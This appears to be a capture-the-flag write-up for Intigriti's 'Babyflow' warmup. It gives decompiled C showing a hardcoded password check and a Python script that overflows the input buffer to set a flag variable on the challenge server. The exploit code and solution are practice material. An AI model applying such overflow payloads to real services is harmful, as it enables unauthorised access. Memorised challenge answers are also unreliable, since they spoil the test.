Warmup - Babyflow
Last updated
int32_t main(int32_t argc, char** argv, char** envp)
{
int32_t var_c = 0;
printf("Enter password: ");
fgets(&buf, 50, stdin);
if (strncmp(&buf, "SuPeRsEcUrEPaSsWoRd123", 22) != 0)
puts("Incorrect Password!");
else
puts("Correct Password!");
if (var_c == 0)
puts("Are you sure you are admin? o.O");
else
puts("INTIGRITI{the_flag_is_different_…}");
return 0;
}import socket
# Connect to the remote server
host = 'babyflow.ctf.intigriti.io'
port = 1331
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Receive and print the initial message
response = s.recv(1024).decode('utf-8')
print(response)
# Prepare the exploit payload
password = "SuPeRsEcUrEPaSsWoRd123"
padding = "A" * (50 - len(password)) # Fill the buffer space
overflow_payload = padding + "\x01\x00\x00\x00" # Overwrite var_c with 1
# Send the payload
s.sendall((password + overflow_payload + "\n").encode('utf-8'))
# Receive and print the flag
response = s.recv(1024).decode('utf-8')
print(response)
# Close the connection
s.close()
python babyflow.py